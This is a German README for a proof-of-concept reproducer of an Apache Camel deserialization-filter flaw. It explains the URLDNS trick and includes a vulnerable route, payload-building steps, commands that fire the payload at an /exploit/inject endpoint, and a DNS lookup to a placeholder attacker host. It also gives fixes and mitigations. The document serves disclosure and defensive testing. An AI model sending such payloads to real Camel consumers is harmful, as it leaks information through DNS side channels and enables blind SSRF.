
Reproducer für CVE-2026-42527 — Apache Camels permissiver Standard-ObjectInputFilter lässt java.net.URL zu, wodurch ein DNS-basierter Out-of-Band-Seitenkanal ermöglicht wird.
Dieses Projekt demonstriert CVE-2026-42527 in Apache Camel. Das Standard-ObjectInputFilter-Muster, das mehrere Camel-Komponenten für die Verteidigung in der Tiefe bei der Deserialisierung mitliefern — java.**;javax.**;org.apache.camel.**;!* — verwendet einen rekursiven java.**-Glob, der java.net.URL zulässt. java.net.URL.hashCode() führt eine DNS-Auflösung des Hosts der URL durch, sodass das Deserialisieren einer HashMap (oder einer beliebigen Sammlung, die ihre Elemente hasht) mit einem java.net.URL-Schlüssel dazu führt, dass die JVM während der Deserialisierung eine DNS-Abfrage an einen vom Angreifer kontrollierten Host sendet. Die Filterprüfung auf Klassenebene besteht (das resultierende Objekt ist eine HashMap, die auf der Zulassungsliste steht), also hält nichts sie auf — ein Out-of-Band-Seitenkanal zur Informationspreisgabe (kein RCE).
Advisory: https://camel.apache.org/security/CVE-2026-42527.html
Dieser Fehler wurde durch die Serie zur Härtung der Deserialisierung (CAMEL-23297/23319/23321/23322/23324) eingeführt, die den zu permissiven Standardfilter hinzufügte. CVE-2026-42527 verschärft ihn.
Dieser PoC verwendet camel-mina 4.18.2, wo MinaConverter.toObjectInput den Standardfilter direkt auf dem ObjectInputStream installiert. Der Filter ist also das steuernde Element (ein sauberer Vergleich betroffen vs. behoben):
// MinaConverter.toObjectInput(IoBuffer) - affected 4.18.2
static final String DEFAULT_DESERIALIZATION_FILTER = "java.**;javax.**;org.apache.camel.**;!*";
...
ObjectInputStream ois = new ObjectInputStream(is);
ObjectInputFilter jvmFilter = ObjectInputFilter.Config.getSerialFilter();
ois.setObjectInputFilter(jvmFilter != null
? jvmFilter
: ObjectInputFilter.Config.createFilter(DEFAULT_DESERIALIZATION_FILTER));
Der java.**-Glob lässt java.net.URL zu. Bei der Deserialisierung einer HashMap<URL, ...> fügt HashMap.readObject() den Eintrag erneut ein und berechnet hash(key) → URL.hashCode() → InetAddress.getByName(host) → eine DNS-Abfrage an den Host des Angreifers. Der Fix in 4.18.3 / 4.21.0 stellt eine Verweigerungsregel voran:
// fixed
static final String DEFAULT_DESERIALIZATION_FILTER = "!java.net.**;java.**;javax.**;org.apache.camel.**;!*";
Jetzt wird java.net.URL während der Deserialisierung abgewiesen (InvalidClassException: filter status: REJECTED), bevor hashCode() überhaupt läuft — keine DNS-Abfrage.
Die höchste reale Gefährdung besteht in der camel-jms-Familie, wo
JmsBinding.extractBodyFromJmsObjectMessage.getObject()bedingungslos aufruft, wennmapJmsMessage=true(der Standard). Dieser PoC verwendet camel-mina, weil er in sich geschlossen ist (kein Broker) und der Filter direkt am Stream sitzt.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput (default filter)
Object obj = oi.readObject(); // HashMap.readObject -> URL.hashCode() -> DNS
});
java.net.URL.hashCode() löst den Host über den Resolver der JVM auf. Um diese Abfrage deterministisch und offline zu beobachten, registriert die Anwendung einen benutzerdefinierten java.net.spi.InetAddressResolverProvider (JDK 18+, JEP 418), der jeden Hostnamen aufzeichnet, der die Angreifer-Markierung enthält, und ihn mit einem Loopback-Stub beantwortet. Zu sehen, dass der Angreifer-Host den Resolver erreicht, ist das Auslösen des Out-of-Band-Seitenkanals.
Das Payload wird mit dem klassischen ysoserial-URLDNS-Trick erstellt: Das zwischengespeicherte hashCode-Feld der URL wird vorab gesetzt, sodass das Einfügen in die Map auf der Builder-Seite den Host nicht auflöst, und dann auf -1 zurückgesetzt, sodass die Abfrage erst beim Deserialisieren durch das Opfer erfolgt. (--add-opens java.base/java.net wird für diese Reflektion benötigt — ein Detail der Payload-Konstruktion, das nichts mit der Schwachstelle zu tun hat.)
CVE-2026-42527/
├── pom.xml # camel-mina 4.18.2 (permissive default filter)
├── Dockerfile # runs the app (--add-opens java.base/java.net for payload build)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # victim: mina consumer -> ObjectInput.readObject()
│ ├── PayloadFactory.java # HashMap<URL> URLDNS payload (no builder-side DNS)
│ ├── ExfilResolverProvider.java # stub DNS server (InetAddressResolverProvider) that records lookups
│ ├── ExfilLog.java
│ └── ExploitController.java # /exploit/inject: sends payload over TCP, checks for the DNS lookup
└── resources/
├── application.properties
└── META-INF/services/java.net.spi.InetAddressResolverProvider
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/inject
# -> Sent HashMap<URL> payload to mina:tcp://127.0.0.1:5555
# URL key host: dns-exfil-proof.cve-2026-42527.attacker.test
#
# >>> DNS side-channel proof — resolver saw a lookup for the attacker host: true
# observed lookups: [dns-exfil-proof.cve-2026-42527.attacker.test]
true bedeutet, dass die Deserialisierung des HashMap<URL> des Angreifers den Angreifer-Host aufgelöst hat — ein vom Angreifer kontrollierter DNS-Server würde diese Abfrage sehen.
Führen Sie mit einem gehärteten JVM-weiten Filter aus (den toObjectInput berücksichtigt und der den Fix aus 4.18.3 abbildet):
mvn clean package -DskipTests
java --add-opens java.base/java.net=ALL-UNNAMED \
-Djdk.serialFilter='!java.net.**;java.**;javax.**;org.apache.camel.**;!*' \
-jar target/cve-2026-42527-deserialization-filter-0.0.1-SNAPSHOT.jar
# then: curl -s http://localhost:8080/exploit/inject
# -> ... resolver saw a lookup for the attacker host: false
# (the route log shows InvalidClassException: filter status: REJECTED)
docker compose down
Jeder betroffene Camel-Consumer, der vom Angreifer kontrollierte Bytes unter dem Standardfilter deserialisiert — insbesondere ein camel-jms/sjms/amqp-Consumer mit mapJmsMessage=true oder die Mina/Netty/vertx-http/Infinispan- und Aggregations-Repository-Komponenten — bei dem der Angreifer ein HashMap<URL> (oder eine beliebige hashende Sammlung von java.net.URL) liefern kann.
deserializationFilter / -Djdk.serialFilter-Override und ohne anbieterseitige Zulassungsliste).java.net.URL in einer hashenden Sammlung im Payload platzieren. Es ist keine Gadget-Bibliothek erforderlich — nur Standard-JDK-Klassen.Aktualisieren Sie auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23372), das den Standardfilter so ändert, dass java.net.** verweigert wird.
Bis zur Aktualisierung:
deserializationAllowList/deserializationDenyList, ActiveMQ Classic org.apache.activemq.SERIALIZABLE_PACKAGES).deserializationFilter oder das JVM-weite -Djdk.serialFilter mit einer expliziten Verweigerung:
!java.net.**;java.**;javax.**;org.apache.camel.**;!*
(oder !java.net.**;java.**;org.apache.camel.**;!* für die Aggregations-Repository-Komponenten, die javax.** weglassen).Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich offengelegte und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.
| Eigenschaft | Wert |
|---|
| Komponenten | camel-jms, camel-sjms, camel-amqp, camel-mina, camel-netty, camel-netty-http, camel-vertx-http, camel-infinispan sowie Aggregations-Repositories (camel-leveldb, camel-cassandraql, camel-consul, camel-sql) |
| Fehler | Standardfilter java.**;javax.**;org.apache.camel.**;!* lässt java.net.URL / java.net.InetAddress zu |
| CWE | CWE-502 (unsichere Deserialisierung), die zu Out-of-Band-Informationspreisgabe / blindem SSRF über DNS führt |
| Auswirkung | Für Angreifer beobachtbare DNS-Abfragen während der Deserialisierung (Seitenkanal zur Datenexfiltration) |
| Betroffene Versionen | 4.14.0–4.14.7, 4.18.0–4.18.2, 4.20.0 |
| Behobene Versionen | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23372 |
| Melder | Venkatraman Kumar (Securin) und Yu Bao (PayPal) |